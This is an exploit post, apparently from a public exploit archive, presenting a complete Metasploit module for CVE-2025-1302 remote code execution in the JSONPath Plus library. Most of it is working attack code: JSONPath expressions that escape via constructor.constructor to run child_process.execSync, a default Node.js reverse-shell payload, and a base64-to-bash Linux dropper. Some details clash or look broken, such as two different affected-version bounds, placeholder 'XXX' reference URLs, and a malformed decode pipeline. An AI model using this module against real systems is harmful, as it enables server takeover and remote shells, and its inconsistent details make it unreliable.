============================================================================================================================================= | # Title : JSONPath Plus < 10.3.0 Remote Code Execution Exploitation Framework | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) | | # Vendor : https://github.com/JSONPath-Plus/JSONPath | ============================================================================================================================================= POC : [+] References : https://packetstorm.news/files/id/212004/ & CVE-2025-1302 [+] Summary : CVE-2025-1302 is a critical remote code execution vulnerability in JSONPath Plus library versions prior to 10.3.0. The vulnerability allows attackers to execute arbitrary JavaScript code through maliciously crafted JSONPath expressions, leading to complete system compromise. The vulnerability exists in the JSONPath expression parser where user input is improperly sanitized before being evaluated as JavaScript code. Attackers can exploit constructor properties to break out of the JSONPath context and execute arbitrary system commands. [+] POC : ## # Module: exploit/multi/http/jsonpath_plus_rce # Version: 1.0 # Author: indoushka ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'JSONPath Plus RCE (CVE-2025-1302)', 'Description' => %q{ This module exploits a remote code execution vulnerability in JSONPath Plus library versions prior to 0.21.1. The vulnerability allows arbitrary JavaScript code execution through malicious JSONPath expressions. }, 'Author' => ['indoushka'], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2025-1302'], ['URL', 'https://github.com/JSONPath-Plus/JSONPath/issues/XXX'], ['URL', 'https://security.snyk.io/vuln/SNYK-JS-JSONPATHPLUS-XXX'] ], 'DisclosureDate' => '2025-11-26', 'Platform' => ['nodejs', 'unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_NODEJS, ARCH_X64, ARCH_X86], 'Payload' => {'BadChars' => '', 'Space' => 8192}, 'Targets' => [ ['Automatic', {}], ['Node.js', {'Arch' => ARCH_NODEJS, 'Platform' => 'nodejs'}], ['Unix Command', {'Arch' => ARCH_CMD, 'Platform' => 'unix'}], ['Linux Dropper', {'Arch' => [ARCH_X64, ARCH_X86], 'Platform' => 'linux'}] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'SSL' => false, 'RPORT' => 3000, 'PAYLOAD' => 'nodejs/shell_reverse_tcp' }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } )) register_options([ OptString.new('TARGETURI', [true, 'The base path to the vulnerable endpoint', '/']), OptEnum.new('METHOD', [true, 'HTTP method to use', 'AUTO', ['POST', 'GET', 'AUTO']]), OptBool.new('NO_FALLBACK', [false, 'Disable GET fallback', false]), OptInt.new('DELAY', [false, 'Delay before exploitation (seconds)', 0]), OptString.new('PAYLOAD_FILE', [false, 'Path to custom payload file']), OptBool.new('VERBOSE', [false, 'Enable verbose output', false]) ]) register_advanced_options([ OptString.new('CustomPayload', [false, 'Custom JSONPath payload']), OptBool.new('DebugRequests', [false, 'Debug HTTP requests/responses', false]) ]) end def check test_payload = '$[?(@.constructor.constructor("return process.version")())]' res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path), 'ctype' => 'application/json', 'data' => { 'path' => test_payload }.to_json }) return CheckCode::Unknown('No response from target') unless res if res.body.include?('v') && res.body =~ /\d+\.\d+\.\d+/ return CheckCode::Appears("Node.js version detected: #{res.body}") end CheckCode::Safe end def exploit print_status("Starting exploitation for CVE-2025-1302") # Apply delay if specified if datastore['DELAY'] > 0 print_status("Delaying #{datastore['DELAY']} seconds before exploitation...") delay_progress(datastore['DELAY']) end # Determine payload based on target payload = generate_payload print_status("Generated payload: #{payload[0..100]}...") if datastore['VERBOSE'] # Execute exploitation case target['Platform'] when 'nodejs' exploit_nodejs(payload) when 'unix' exploit_unix(payload) when 'linux' exploit_linux(payload) else exploit_auto(payload) end end def generate_payload if datastore['CustomPayload'] return datastore['CustomPayload'] end case target['Platform'] when 'nodejs' generate_nodejs_payload when 'unix', 'linux' generate_cmd_payload else # Auto-detect based on selected payload if payload_instance.name.include?('nodejs') generate_nodejs_payload else generate_cmd_payload end end end def generate_nodejs_payload cmd = payload.encoded # Escape for JavaScript string escaped_cmd = cmd.gsub('"', '\"').gsub("'", "\\'") %Q{$[?(@.constructor.constructor("require('child_process').execSync('#{escaped_cmd}')")())]} end def generate_cmd_payload case target['Platform'] when 'unix' cmd = payload.encoded %Q{$[?(@.constructor.constructor("require('child_process').execSync('#{cmd.gsub("'", "\\'")}')")())]} when 'linux' # For Linux dropper, we need a different approach %Q{$[?(@.constructor.constructor("require('child_process').execSync('bash -c \\\"#{Rex::Text.encode_base64(payload.encoded)}\\\" | base64 -d | bash')")())]} else generate_nodejs_payload end end def exploit_auto(payload_str) method = datastore['NO_FALLBACK'] ? 'POST' : datastore['METHOD'] case method when 'POST' send_post_request(payload_str) when 'GET' send_get_request(payload_str) when 'AUTO' exploit_with_fallback(payload_str) end end def exploit_with_fallback(payload_str) print_status("Attempting POST request...") res = send_post_request(payload_str) if res && (res.code < 400) print_good("POST request successful") return true end print_status("POST failed, falling back to GET...") res = send_get_request(payload_str) if res && (res.code < 400) print_good("GET request successful") return true end fail_with(Failure::Unknown, "Both POST and GET methods failed") end def send_post_request(payload_str) data = { 'path' => payload_str }.to_json print_status("Sending POST request with payload") if datastore['VERBOSE'] debug_request('POST', data) if datastore['DebugRequests'] res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path), 'ctype' => 'application/json', 'data' => data }, datastore['HTTP_TIMEOUT'] || 10) debug_response(res) if datastore['DebugRequests'] && res handle_response(res, 'POST') end def send_get_request(payload_str) print_status("Sending GET request with payload") if datastore['VERBOSE'] res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path), 'vars_get' => { 'path' => payload_str } }, datastore['HTTP_TIMEOUT'] || 10) debug_response(res) if datastore['DebugRequests'] && res handle_response(res, 'GET') end def handle_response(res, method) unless res print_error("#{method} request failed - no response") return nil end if datastore['VERBOSE'] print_status("#{method} Response: Code=#{res.code}, Body=#{res.body[0..200]}...") end if res.code >= 400 print_error("#{method} request failed with code #{res.code}") return nil end res end def exploit_nodejs(payload_str) print_status("Exploiting Node.js target...") exploit_auto(payload_str) # For Node.js payloads, we need to handle the session differently if payload_instance.respond_to?(:handle_connection) handler end end def exploit_unix(payload_str) print_status("Exploiting Unix command target...") exploit_auto(payload_str) end def exploit_linux(payload_str) print_status("Exploiting Linux target with dropper...") # Use cmd stager for Linux targets execute_cmdstager({ :linemax => 8000, :nodelete => true }) end def execute_command(cmd, opts = {}) payload_str = %Q{$[?(@.constructor.constructor("require('child_process').execSync('#{cmd.gsub("'", "\\'")}')")())]} exploit_auto(payload_str) end def delay_progress(seconds) return if seconds <= 0 print_status("Waiting #{seconds} seconds...") 1.upto(seconds) do |i| print_status("Delay: #{i}/#{seconds}") if i % 5 == 0 || i <= 3 sleep(1) end end def debug_request(method, data) print_status("[DEBUG #{Time.now.utc.iso8601}] #{method} Request:") print_status("Data: #{data}") end def debug_response(res) return unless res print_status("[DEBUG #{Time.now.utc.iso8601}] Response:") print_status("Status: #{res.code}") print_status("Headers: #{res.headers}") print_status("Body: #{res.body}") end def load_custom_payloads(file_path) return [] unless File.exist?(file_path) payloads = [] File.readlines(file_path).each do |line| next if line.strip.empty? payloads << line.strip end payloads end end Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================